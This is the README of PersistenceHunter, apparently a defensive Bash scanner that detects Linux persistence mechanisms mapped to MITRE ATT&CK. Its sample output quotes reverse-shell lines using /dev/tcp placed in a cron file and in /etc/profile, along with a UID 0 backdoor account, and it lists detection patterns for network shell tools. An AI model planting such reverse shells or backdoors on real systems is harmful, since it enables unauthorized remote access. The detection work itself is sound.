ajaypalle252/PersistenceHunter

GitHub: ajaypalle252/PersistenceHunter

一款纯 Bash 实现的 Linux 持久化机制检测扫描器,通过 40 个映射 MITRE ATT&CK TA0003 的模块全面排查攻击者植入的后门与驻留手段。

Stars: 0 | Forks: 0

PersistenceHunter **自动化 Linux 持久化检测 — 映射至 MITRE ATT&CK TA0003** [![Version](https://img.shields.io/badge/version-4.0.0-red?style=for-the-badge&logo=github)](https://github.com/ajaypalle252/PersistenceHunter) [![Modules](https://img.shields.io/badge/modules-40-CC0000?style=for-the-badge)](https://github.com/ajaypalle252/PersistenceHunter) [![Shell](https://img.shields.io/badge/pure-Bash-4EAA25?style=for-the-badge&logo=gnubash&logoColor=white)](https://github.com/ajaypalle252/PersistenceHunter) [![MITRE ATT&CK](https://img.shields.io/badge/MITRE_ATT%26CK-TA0003-CC0000?style=for-the-badge)](https://attack.mitre.org/tactics/TA0003/) [![License](https://img.shields.io/badge/license-MIT-blue?style=for-the-badge)](LICENSE) [![Platform](https://img.shields.io/badge/platform-Linux-FCC624?style=for-the-badge&logo=linux&logoColor=black)](https://github.com/ajaypalle252/PersistenceHunter)
## 🔍 什么是 PersistenceHunter? PersistenceHunter 是一款**纯 Bash、零依赖**的扫描器,旨在搜寻实时 Linux 系统中的攻击者持久化机制。每一项发现都映射到对应的 **MITRE ATT&CK** 技术标识符,并根据可疑文件内容的实际情况(而不仅仅是其是否存在)进行严重性分类。 ### 为什么不用 rkhunter / Lynis / chkrootkit? 使用 [PANIX](https://github.com/Aegrah/PANIX) 进行了测试,植入了 13 种持久化技术: ``` PersistenceHunter ████████████████████ 13/13 (100%) ✅ rkhunter ████░░░░░░░░░░░░░░░░ 3/13 (23%) Lynis █░░░░░░░░░░░░░░░░░░░ 1/13 (8%) chkrootkit ░░░░░░░░░░░░░░░░░░░░ 0/13 (0%) ``` ## ✨ 主要特性 | 特性 | 详情 | |---------|--------| | **40 个 ATT&CK 映射模块** | 全面覆盖 MITRE TA0003 持久化战术 | | **感知包过滤** | dpkg / rpm / pacman 缓存消除了来自系统文件的误报 | | **基于内容的严重性** | CRITICAL(严重)仅在检测到活动的 C2/shell 特征时触发,而非仅凭存在性 | | **JSON 输出** | 用于 SIEM / pipeline 集成的机器可读输出 | | **模块选择** | 通过 `--modules` 标志运行单个模块或全部 40 个模块 | | **零依赖** | 纯 Bash + 标准 coreutils — 适用于任何 Linux 发行版,无需安装 | | **跨发行版** | Debian, Ubuntu, Kali, RHEL, Fedora, Arch 及其衍生版本 | ## 🚀 快速开始 ``` # Clone 仓库 git clone https://github.com/ajaypalle252/PersistenceHunter.git cd PersistenceHunter # 运行所有 40 个模块(建议使用 root 以获得完整覆盖率) sudo bash persistence_hunter.sh # 保存 JSON 报告 sudo bash persistence_hunter.sh --output report.json # 仅运行特定模块 sudo bash persistence_hunter.sh --modules cron,shell,ssh,sudo_rules,ldpreload # 列出所有可用模块 bash persistence_hunter.sh --list-modules # Quiet 模式 — 仅输出 findings sudo bash persistence_hunter.sh --quiet ``` ## 🖥️ 终端演示 ``` ____ _ _ _ _ _ | _ \ ___ _ __ ___(_)___| |_ ___ _ __ ___ ___| | | |_ _ _ __ | |_ ___ _ __ | |_) / _ \ '__/ __| / __| __/ _ \ '_ \ / __/ _ \ |_| | | | | '_ \| __/ _ \ '__| | __/ __/ | \__ \ \__ \ || __/ | | | (_| __/ _ | |_| | | | | || __/ | |_| \___|_| |___/_|___/\__\___|_| |_|\___\___|_| |_|\__,_|_| |_|\__\___|_| PersistenceHunter v4.0.0 — Automated Linux Persistence Detection MITRE ATT&CK TA0003 | 40 Modules | Ajay Palle [*] System Information Host : target-server OS : Ubuntu 22.04.3 LTS Kernel : 6.2.0-36-generic PkgMgr : dpkg [*] Building package cache... [*] Starting scan — 14:32:01 [*] Module 01: Cron Job Persistence [T1053.003] [CRITICAL] Non-package cron entry Path: /etc/cron.d/freedesktop_timesync1 * * * * * root /bin/bash -c 'sh -i >& /dev/tcp/10.0.0.1/4444 0>&1' [*] Module 06: Shell Profile Injection [T1546.004] [CRITICAL] Suspicious command in system shell profile Path: /etc/profile (nohup bash -i > /dev/tcp/10.0.0.1/4445 0<&1 2>&1 &) [*] Module 08: Backdoor User Accounts [T1136.001] [CRITICAL] Non-root account with UID 0 (root clone) Path: /etc/passwd User: backdoor ╔═══════════════════════════════════════════════════════╗ ║ Scan Complete — Summary ║ ╚═══════════════════════════════════════════════════════╝ Total findings : 4 CRITICAL : 3 HIGH : 1 MEDIUM : 0 LOW : 0 Scan duration : 104s Modules run : 40 [!] CRITICAL persistence indicators detected — investigate immediately. ``` ## 🛡️ 检测模块 (40)
计划执行 (M01, M03, M04, M30, M35) | # | 模块 | ATT&CK | 描述 | |---|--------|--------|-------------| | 01 | `cron` | T1053.003 | 系统和用户 crontab 持久化 | | 03 | `systemd_tmr` | T1053.005 | Systemd timer 单元后门 | | 04 | `systemd_path` | T1053.005 | Systemd path 单元触发器 | | 30 | `logrotate` | T1053.005 | Logrotate pre/postrotate 钩子滥用 | | 35 | `anacron` | T1053.003 | Anacron 和 at 作业持久化 |
引导与初始化 (M02, M05, M13, M31, M39) | # | 模块 | ATT&CK | 描述 | |---|--------|--------|-------------| | 02 | `systemd_svc` | T1543.002 | Systemd service 单元滥用 | | 05 | `systemd_gen` | T1543.002 | Systemd generator 持久化 | | 13 | `initd` | T1037.004 | Init 脚本和 rc.local | | 31 | `socket_units` | T1543.002 | Systemd socket 激活后门 | | 39 | `initramfs` | T1542.003 | Initramfs / initrd 篡改 |
Shell 与用户环境 (M06, M07, M08, M26, M28, M29) | # | 模块 | ATT&CK | 描述 | |---|--------|--------|-------------| | 06 | `shell` | T1546.004 | Shell profile/rc 文件注入 | | 07 | `ssh` | T1098.004 | SSH 授权密钥滥用 | | 08 | `users` | T1136.001 | 后门用户账户 & UID 0 克隆 | | 26 | `sudo_rules` | T1548.003 | Sudoers NOPASSWD/通配符后门 | | 28 | `env_inject` | T1574.006 | LD_AUDIT / PERL5OPT / NODE_OPTIONS 注入 | | 29 | `bash_completion` | T1546.004 | Bash 自动补全脚本注入 |
库与二进制文件劫持 (M11, M12, M27, M33, M36) | # | 模块 | ATT&CK | 描述 | |---|--------|--------|-------------| | 11 | `ldpreload` | T1574.006 | LD_PRELOAD / /etc/ld.so.preload 劫持 | | 12 | `so_hijack` | T1574.001 | 共享对象搜索顺序劫持 | | 27 | `python_inject` | T1546.018 | Python sitecustomize.py / .pth 注入 | | 33 | `suid_system` | T1548.001 | 系统范围内解释器上的 SUID/SGID | | 36 | `binfmt` | T1546 | binfmt_misc 自定义解释器滥用 |
内核与底层 (M16, M37, M38) | # | 模块 | ATT&CK | 描述 | |---|--------|--------|-------------| | 16 | `kernel` | T1547.006 | 可加载内核模块 rootkit | | 37 | `ebpf` | T1547.006 | eBPF rootkit / 固定程序持久化 | | 38 | `nss_hijack` | T1556.003 | NSS 模块劫持 (libnss_*.so) |
认证与权限 (M17, M34) | # | 模块 | ATT&CK | 描述 | |---|--------|--------|-------------| | 17 | `pam` | T1556.003 | PAM 模块后门 & pam_exec 滥用 | | 34 | `polkit` | T1548.003 | Polkit 规则无条件访问 |
网络与端点 (M10, M14, M19, M32) | # | 模块 | ATT&CK | 描述 | |---|--------|--------|-------------| | 10 | `udev` | T1546 | Udev 规则持久化 | | 14 | `network_scripts` | T1037.003 | 网络分发 / 登录脚本 | | 19 | `webshell` | T1505.003 | Web shell 检测 | | 32 | `docker_escape` | T1611 | Docker/Podman socket 逃逸向量 |
软件与包 (M18, M20, M21, M40) | # | 模块 | ATT&CK | 描述 | |---|--------|--------|-------------| | 18 | `pkgmgr` | T1546.016 | 包管理器钩子滥用 (APT/YUM/DNF) | | 20 | `capabilities` | T1548 | 危险的进程 capability 分配 | | 21 | `git_hooks` | T1546 | Git 钩子持久化 | | 40 | `vim_plugin` | T1546 | Vim/Neovim 插件注入 |
桌面与引导加载程序 (M09, M15, M22, M23, M24, M25) | # | 模块 | ATT&CK | 描述 | |---|--------|--------|-------------| | 09 | `hidden` | T1564.001 | 隐藏文件和可写目录中的 SUID 滥用 | | 15 | `motd` | T1546.004 | 动态 MOTD 脚本注入 | | 22 | `xdg_autostart` | T1547.013 | XDG autostart 桌面条目 | | 23 | `dbus` | T1546.015 | D-Bus service 文件滥用 | | 24 | `grub` | T1542.003 | GRUB 引导加载程序持久化 | | 25 | `pwsh` | T1546.013 | Linux 上的 PowerShell profile |
## ⚠️ 严重性等级 | 级别 | 颜色 | 触发条件 | |-------|--------|---------| | 🔴 **CRITICAL(严重)** | 红色 | 文件内容中包含活动的反弹 shell / C2 特征 (`/dev/tcp`, `bash -i`, `nc`, `socat`, `curl\|sh`) | | 🟠 **HIGH(高危)** | 橙色 | 编码的 payload 或 下载并执行链 (`base64 -d`, `eval`, `python -c`) | | 🟡 **MEDIUM(中危)** | 黄色 | 存在可疑文件 — 但未确认活动的 payload | | 🟢 **LOW(低危)** | 绿色 | 信息性 — 值得人工审查 | ## 📋 CLI 参考 ``` Usage: persistence_hunter.sh [OPTIONS] Options: -h, --help Show this help message -V, --version Show version number -q, --quiet Suppress headers — print findings only -v, --verbose Show all paths checked --no-color Disable ANSI colour output (for log files) --json Write JSON to stdout -o, --output FILE Write JSON report to FILE -m, --modules LIST Comma-separated modules to run (e.g. cron,shell,ssh) -l, --list-modules List all 40 modules and exit Exit codes: 0 No significant findings 1 HIGH severity findings present 2 CRITICAL severity findings present ``` ## 📊 JSON 输出 每项发现都将以结构化的 JSON 对象输出: ``` { "severity": "CRITICAL", "attack_id": "T1053.003", "module": "cron", "message": "Non-package cron entry with reverse shell payload", "filepath": "/etc/cron.d/freedesktop_timesync1", "evidence": "* * * * * root /bin/bash -c 'sh -i >& /dev/tcp/10.0.0.1/4444 0>&1'", "ts": "2026-06-17 14:32:05" } ``` 通过管道传递给 `jq` 进行过滤: ``` # 仅显示 CRITICAL findings sudo bash persistence_hunter.sh --json | jq 'select(.severity=="CRITICAL")' # 获取所有受影响的文件路径 sudo bash persistence_hunter.sh --json | jq -r '.filepath' ``` ## 🏗️ 设计原则 ``` 1. Zero runtime dependencies — pure Bash + standard coreutils only 2. Package-aware filtering — dpkg/rpm/pacman cache built at startup; system-owned files are never flagged 3. Content-based severity — CRITICAL requires regex match on active shell/C2 pattern, not just file presence 4. ATT&CK indexed — every finding carries a T-identifier 5. Read-only — scanner never writes to the target system 6. Modular — each check is a self-contained function + one dispatcher line; easy to extend 7. Cross-subshell safe — findings written to temp files, not vars, so find | while pipelines work correctly ``` ## 🧪 评估 使用 **PANIX**(开源的 Linux 持久化植入工具)进行了测试,在四个难度回合中植入了 13 种技术: | 回合 | 技术 | PersistenceHunter | rkhunter | Lynis | chkrootkit | |-------|-----------|:-----------------:|:--------:|:-----:|:----------:| | Easy | 4 | ✅ 4/4 | 2/4 | 1/4 | 0/4 | | Medium | 3 | ✅ 3/3 | 1/3 | 0/3 | 0/3 | | Hard | 3 | ✅ 3/3 | 0/3 | 0/3 | 0/3 | | Mixed | 3 | ✅ 3/3 | 0/3 | 0/3 | 0/3 | | **总计** | **13** | **✅ 13/13 (100%)** | **3/13 (23%)** | **1/13 (8%)** | **0/13 (0%)** | ## 📁 仓库结构 ``` PersistenceHunter/ ├── persistence_hunter.sh # Main scanner (v4.0.0) — run this ├── versions/ │ ├── persistence_hunter_v1.sh # Original 15-module version │ ├── persistence_hunter_v2.sh # 18-module intermediate version │ └── persistence_hunter_v4.sh # Current (mirror of root script) └── evaluation/ └── evaluation_results/ # Raw tool output from PANIX test rounds ├── round0_clean/ # Baseline (no persistence planted) └── round1_easy/ # Easy round results ``` ## 📄 许可证 MIT License — 详情请参阅 [LICENSE](LICENSE)。
**由 [Ajay Palle](https://github.com/ajaypalle252) 构建** [![GitHub](https://img.shields.io/badge/GitHub-ajaypalle252-181717?style=for-the-badge&logo=github)](https://github.com/ajaypalle252) [![LinkedIn](https://img.shields.io/badge/LinkedIn-Ajay_Palle-0A66C2?style=for-the-badge&logo=linkedin)](https://uk.linkedin.com/in/ajay-palle-87978a197) *如果此工具对您有帮助,请考虑留下一个 ⭐*
标签:Bash, SQL, 应用安全, 恶意软件扫描, 持久化检测, 系统审计